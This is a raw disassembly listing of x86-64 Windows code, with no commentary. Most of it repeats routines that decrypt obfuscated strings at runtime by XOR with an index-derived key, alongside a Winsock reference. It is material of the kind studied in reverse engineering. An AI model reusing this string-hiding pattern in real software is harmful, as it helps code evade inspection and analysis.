xor r8d, r8d
nop dword [rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x18
jl 0x1400f9b40
lea rcx, [rbp + 0xde0]
call fcn.14006cee0
mov dword [rbp + 0x550], 0x41a00000
mov dword [rbp + 0x554], 0x42dc0000
lea rcx, [rbp + 0x550]
call fcn.140044e30
mov qword [rdi + 0xe4], 0x3f800000
xor ecx, ecx
mov dword [rdi + 0xec], ecx
mov dword [rdi + 0xf0], 0x3f800000
mov eax, dword [0x140324d80]
mov dword [rbp - 0x30], eax
cmp byte [0x140324d83], cl
je 0x1400f9c90
cmp r15d, 2
jl 0x1400f9c51
movdqa xmm3, xmmword [0x1402d9220]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x140327f20]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140327f20]
shufps xmm2, xmm0, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [0x140327d50]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140327dc0]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.3333333333333333R]
movd xmm0, eax
xorps xmm2, xmm0
movd dword [rbp - 0x30], xmm2
jmp 0x1400f9c90
lea r9, [rbp - 0x30]
mov r8d, ecx
nop dword [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x1400f9c60
lea rcx, [rbp - 0x30]
call fcn.14006cee0
movaps xmm1, xmm10
movaps xmm0, xmm11
call fcn.1400442b0
mov dword [rdi + 0xe4], 0x3f800000
mov dword [rdi + 0xe8], 0x3f800000
mov dword [rdi + 0xec], 0x3f800000
mov dword [rdi + 0xf0], 0x3f800000
movups xmm0, xmmword [0x140324d88]
movups xmmword [rbp + 0xec6], xmm0
movsd xmm0, qword [0x140324d98]
movsd qword [rbp + 0xed6], xmm0
mov eax, dword [0x140324da0]
mov dword [rbp + 0xede], eax
cmp byte [0x140324da3], 0
je 0x1400f9ea0
xor r8d, r8d
cmp r15d, 2
jl 0x1400f9e55
movdqa xmm5, xmmword [0x1402d9220]
movdqa xmm4, xmmword [0x140327f20]
movdqa xmm6, xmmword [0x140327d50]
movdqa xmm0, xmmword [str.3333333333333333R]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rbp + 0xeca]
mov edx, dword [rsp + 0x70]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140327dc0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140327dc0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x1400f9d50
cmp r8d, 0x1c
jge 0x1400f9ea0
movsxd rax, r8d
lea r9, [rbp + 0xec6]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1c
jl 0x1400f9e70
lea rcx, [rbp + 0xec6]
call fcn.14006cee0
cmp byte [0x14049f060], 0
jne 0x1400f9fa3
lea rax, [0x14049e660]
lea rcx, [0x14049e5c0]
cmp rax, rcx
je 0x1400f9eee
mov rdx, rcx
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova rdx, qword [0x14049e5c0]
mov r8, qword [0x14049e5d0]
mov rcx, rax
call fcn.1400977d0
lea rdx, [0x14049e5e0]
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova rdx, qword [0x14049e5e0]
mov r8, qword [0x14049e5f0]
lea rcx, [0x14049e680]
call fcn.1400977d0
lea rdx, [0x14049e600]
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova rdx, qword [0x14049e600]
mov r8, qword [0x14049e610]
lea rcx, [0x14049e6a0]
call fcn.1400977d0
lea rdx, [0x14049e620]
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova rdx, qword [0x14049e620]
mov r8, qword [0x14049e630]
lea rcx, [0x14049e6c0]
call fcn.1400977d0
lea rdx, [0x14049e640]
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova rdx, qword [0x14049e640]
mov r8, qword [0x14049e650]
lea rcx, [0x14049e6e0]
call fcn.1400977d0
cmp byte [0x14049f060], 0
je 0x1400faecb
cmp byte [0x14049f05e], 0
jne 0x1400faecb
lea rax, [rbp + 0x16a0]
mov qword [rsp + 0x60], rax
movups xmm7, xmmword [0x140324e08]
movups xmmword [rbp + 0xe2a], xmm7
movsd xmm0, qword [0x140324e18]
movsd qword [rbp + 0xe3a], xmm0
movzx eax, word [0x140324e20]
mov word [rbp + 0xe42], ax
xor r8d, r8d
cmp r15d, 2
jl 0x1400fa0e5
movdqa xmm4, xmmword [0x140327f20]
movdqa xmm6, xmmword [str.33333333]
movdqa xmm2, xmmword [0x1402d9220]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140327d50]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm1, xmm7
xorps xmm3, xmm1
movq qword [rbp + 0xe2a], xmm3
movdqa xmm2, xmmword [0x140327d40]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140327d50]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0xe32]
xorps xmm3, xmm0
movq qword [rbp + 0xe32], xmm3
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0xe2a]
lea r9, [r9 + rax*2]
nop dword [rax]
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x32
movzx eax, r8w
sub ax, cx
add ax, 0x33
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0xd
jl 0x1400fa100
lea rdx, [rbp + 0xe2a]
lea rcx, [rbp + 0x16a0]
call fcn.140089c90
mov rbx, rax
movups xmm0, xmmword [0x140324db0]
movups xmmword [rbp + 0x1d10], xmm0
movups xmm1, xmmword [0x140324dc0]
movups xmmword [rbp + 0x1d20], xmm1
movups xmm0, xmmword [0x140324dd0]
movups xmmword [rbp + 0x1d30], xmm0
movups xmm1, xmmword [0x140324de0]
movups xmmword [rbp + 0x1d40], xmm1
movups xmm0, xmmword [str.__63_6__]
movups xmmword [rbp + 0x1d50], xmm0
movzx eax, word [0x140324e00]
mov word [rbp + 0x1d60], ax
xor r8d, r8d
cmp r15d, 2
jl 0x1400fa2c1
movdqa xmm5, xmmword [0x1402d9220]
movdqa xmm4, xmmword [0x140327f20]
movdqa xmm6, xmmword [0x140327d50]
movdqa xmm7, xmmword [str.33333333]
lea rcx, [rbp + 0x1d10]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add r8d, 8
lea rcx, [rcx + 0x10]
cmp r8d, 0x28
jl 0x1400fa1d2
cmp r8d, 0x29
jge 0x1400fa304
movsxd rax, r8d
lea r9, [rbp + 0x1d10]
lea r9, [r9 + rax*2]
nop
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x32
movzx eax, r8w
sub ax, cx
add ax, 0x33
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x29
jl 0x1400fa2d0
lea rdx, [rbp + 0x1d10]
lea rcx, [rbp + 0x16c0]
call fcn.140089c90
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x16e0]
call fcn.140107b40
mov rdx, rax
lea rcx, [0x14049e660]
call fcn.14008c120
lea rcx, [rbp + 0x16e0]
call fcn.140065be0
lea rax, [rbp + 0x1700]
mov qword [rsp + 0x60], rax
movups xmm7, xmmword [0x140324e78]
movups xmmword [rbp + 0xe44], xmm7
movsd xmm0, qword [0x140324e88]
movsd qword [rbp + 0xe54], xmm0
movzx eax, word [0x140324e90]
mov word [rbp + 0xe5c], ax
xor r8d, r8d
cmp r15d, 2
jl 0x1400fa47a
movdqa xmm4, xmmword [0x140327f20]
movdqa xmm6, xmmword [str.33333333]
movdqa xmm2, xmmword [0x1402d9220]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140327d50]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm1, xmm7
xorps xmm3, xmm1
movq qword [rbp + 0xe44], xmm3
movdqa xmm2, xmmword [0x140327d40]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140327d50]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0xe4c]
xorps xmm3, xmm0
movq qword [rbp + 0xe4c], xmm3
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0xe44]
lea r9, [r9 + rax*2]
nop dword [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x32
movzx eax, r8w
sub ax, cx
add ax, 0x33
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0xd
jl 0x1400fa490
lea rdx, [rbp + 0xe44]
lea rcx, [rbp + 0x1700]
call fcn.140089c90
mov rbx, rax
movups xmm0, xmmword [0x140324e30]
movups xmmword [rbp + 0x1a3a], xmm0
movups xmm1, xmmword [0x140324e40]
movups xmmword [rbp + 0x1a4a], xmm1
movups xmm0, xmmword [0x140324e50]
movups xmmword [rbp + 0x1a5a], xmm0
movups xmm1, xmmword [0x140324e60]
movups xmmword [rbp + 0x1a6a], xmm1
movsd xmm0, qword [str.:_V_QG_VTwOVXL_]
movsd qword [rbp + 0x1a7a], xmm0
xor r8d, r8d
cmp r15d, 2
jl 0x1400fa64f
movdqa xmm5, xmmword [0x1402d9220]
movdqa xmm4, xmmword [0x140327f20]
movdqa xmm6, xmmword [0x140327d50]
movdqa xmm7, xmmword [str.33333333]
lea rcx, [rbp + 0x1a3a]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add r8d, 8
lea rcx, [rcx + 0x10]
cmp r8d, 0x20
jl 0x1400fa560
cmp r8d, 0x24
jge 0x1400fa694
movsxd rax, r8d
lea r9, [rbp + 0x1a3a]
lea r9, [r9 + rax*2]
nop dword [rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x32
movzx eax, r8w
sub ax, cx
add ax, 0x33
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x24
jl 0x1400fa660
lea rdx, [rbp + 0x1a3a]
lea rcx, [rbp + 0x1720]
call fcn.140089c90
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x1740]
call fcn.140107b40
mov rdx, rax
lea rcx, [0x14049e680]
call fcn.14008c120
lea rcx, [rbp + 0x1740]
call fcn.140065be0
lea rax, [rbp + 0x1760]
mov qword [rsp + 0x60], rax
movups xmm7, xmmword [str._QG_VTwOVXL_]
movups xmmword [rbp - 8], xmm7
movsd xmm0, qword [0x140324f08]
movsd qword [rbp + 8], xmm0
movzx eax, word [0x140324f10]
mov word [rbp + 0x10], ax
xor r8d, r8d
cmp r15d, 2
jl 0x1400fa7f8
movdqa xmm4, xmmword [0x140327f20]
movdqa xmm6, xmmword [str.33333333]
movdqa xmm2, xmmword [0x1402d9220]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140327d50]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm1, xmm7
xorps xmm3, xmm1
movq qword [rbp - 8], xmm3
movdqa xmm2, xmmword [0x140327d40]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140327d50]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rbp]
xorps xmm3, xmm0
movq qword [rbp], xmm3
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp - 8]
lea r9, [r9 + rax*2]
nop dword [rax]
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x32
movzx eax, r8w
sub ax, cx
add ax, 0x33
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0xd
jl 0x1400fa810
lea rdx, [rbp - 8]
lea rcx, [rbp + 0x1760]
call fcn.140089c90
mov rbx, rax
movups xmm0, xmmword [0x140324ea0]
movups xmmword [rbp + 0x1d62], xmm0
movups xmm1, xmmword [0x140324eb0]
movups xmmword [rbp + 0x1d72], xmm1
movups xmm0, xmmword [0x140324ec0]
movups xmmword [rbp + 0x1d82], xmm0
movups xmm1, xmmword [0x140324ed0]
movups xmmword [rbp + 0x1d92], xmm1
movups xmm0, xmmword [str.20489__]
movups xmmword [rbp + 0x1da2], xmm0
movzx eax, word [0x140324ef0]
mov word [rbp + 0x1db2], ax
xor r8d, r8d
cmp r15d, 2
jl 0x1400fa9cf
movdqa xmm5, xmmword [0x1402d9220]
movdqa xmm4, xmmword [0x140327f20]
movdqa xmm6, xmmword [0x140327d50]
movdqa xmm7, xmmword [str.33333333]
lea rcx, [rbp + 0x1d62]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add r8d, 8
lea rcx, [rcx + 0x10]
cmp r8d, 0x28
jl 0x1400fa8e0
cmp r8d, 0x29
jge 0x1400faa14
movsxd rax, r8d
lea r9, [rbp + 0x1d62]
lea r9, [r9 + rax*2]
nop dword [rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x32
movzx eax, r8w
sub ax, cx
add ax, 0x33
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x29
jl 0x1400fa9e0
lea rdx, [rbp + 0x1d62]
lea rcx, [rbp + 0x1780]
call fcn.140089c90
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x17a0]
call fcn.140107b40
mov rdx, rax
lea rcx, [0x14049e6a0]
call fcn.14008c120
lea rcx, [rbp + 0x17a0]
call fcn.140065be0
lea rax, [rbp + 0x17c0]
mov qword [rsp + 0x60], rax
movsd xmm0, qword [str.far7]
movsd qword [rbp - 0x18], xmm0
movzx eax, word [0x140324f80]
mov ecx, 0x55
mov word [rbp - 0x18], cx
xor word [rbp - 0x16], 0x34
xor word [rbp - 0x14], 0x35
xor word [rbp - 0x12], 0x36
xor ax, 0x37
mov word [rbp - 0x10], ax
lea rdx, [rbp - 0x18]
lea rcx, [rbp + 0x17c0]
call fcn.140089c90
mov rbx, rax
movups xmm0, xmmword [0x140324f20]
movups xmmword [rbp + 0x1b48], xmm0
movups xmm1, xmmword [0x140324f30]
movups xmmword [rbp + 0x1b58], xmm1
movups xmm0, xmmword [0x140324f40]
movups xmmword [rbp + 0x1b68], xmm0
movups xmm1, xmmword [0x140324f50]
movups xmmword [rbp + 0x1b78], xmm1
movups xmm0, xmmword [0x140324f60]
movups xmmword [rbp + 0x1b88], xmm0
mov eax, dword [0x140324f70]
mov dword [rbp + 0x1b98], eax
xor r8d, r8d
cmp r15d, 2
jl 0x1400fac1f
movdqa xmm5, xmmword [0x1402d9220]
movdqa xmm4, xmmword [0x140327f20]
movdqa xmm6, xmmword [0x140327d50]
movdqa xmm7, xmmword [str.33333333]
lea rcx, [rbp + 0x1b48]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add r8d, 8
lea rcx, [rcx + 0x10]
cmp r8d, 0x28
jl 0x1400fab30
cmp r8d, 0x2a
jge 0x1400fac64
movsxd rax, r8d
lea r9, [rbp + 0x1b48]
lea r9, [r9 + rax*2]
nop dword [rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x32
movzx eax, r8w
sub ax, cx
add ax, 0x33
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x2a
jl 0x1400fac30
lea rdx, [rbp + 0x1b48]
lea rcx, [rbp + 0x17e0]
call fcn.140089c90
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x1800]
call fcn.140107b40
mov rdx, rax
lea rcx, [0x14049e6c0]
call fcn.14008c120
lea rcx, [rbp + 0x1800]
call fcn.140065be0
movups xmm0, xmmword [str._qystl]
movups xmmword [rbp + 0x19ca], xmm0
movups xmm1, xmmword [str.ezoqr_]
movups xmmword [rbp + 0x19da], xmm1
movups xmm0, xmmword [0x140324fb0]
movups xmmword [rbp + 0x19ea], xmm0
movups xmm1, xmmword [0x140324fc0]
movups xmmword [rbp + 0x19fa], xmm1
mov eax, dword [0x140324fd0]
mov dword [rbp + 0x1a0a], eax
movzx eax, word [0x140324fd4]
mov word [rbp + 0x1a0e], ax
xor r8d, r8d
cmp r15d, 2
jl 0x1400fae1f
movdqa xmm5, xmmword [0x1402d9220]
movdqa xmm4, xmmword [0x140327f20]
movdqa xmm6, xmmword [0x140327d50]
movdqa xmm7, xmmword [str.33333333]
lea rcx, [rbp + 0x19ca]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add r8d, 8
lea rcx, [rcx + 0x10]
cmp r8d, 0x20
jl 0x1400fad30
cmp r8d, 0x23
jge 0x1400fae64
movsxd rax, r8d
lea r9, [rbp + 0x19ca]
lea r9, [r9 + rax*2]
nop dword [rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x32
movzx eax, r8w
sub ax, cx
add ax, 0x33
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x23
jl 0x1400fae30
lea rdx, [rbp + 0x19ca]
lea rcx, [rbp + 0x1820]
call fcn.140089c90
mov rdx, rax
lea rcx, [rbp + 0xdf8]
call fcn.140107200
nop
mov rdx, qword [rax]
add rdx, 0x20
lea rax, [0x14049e6e0]
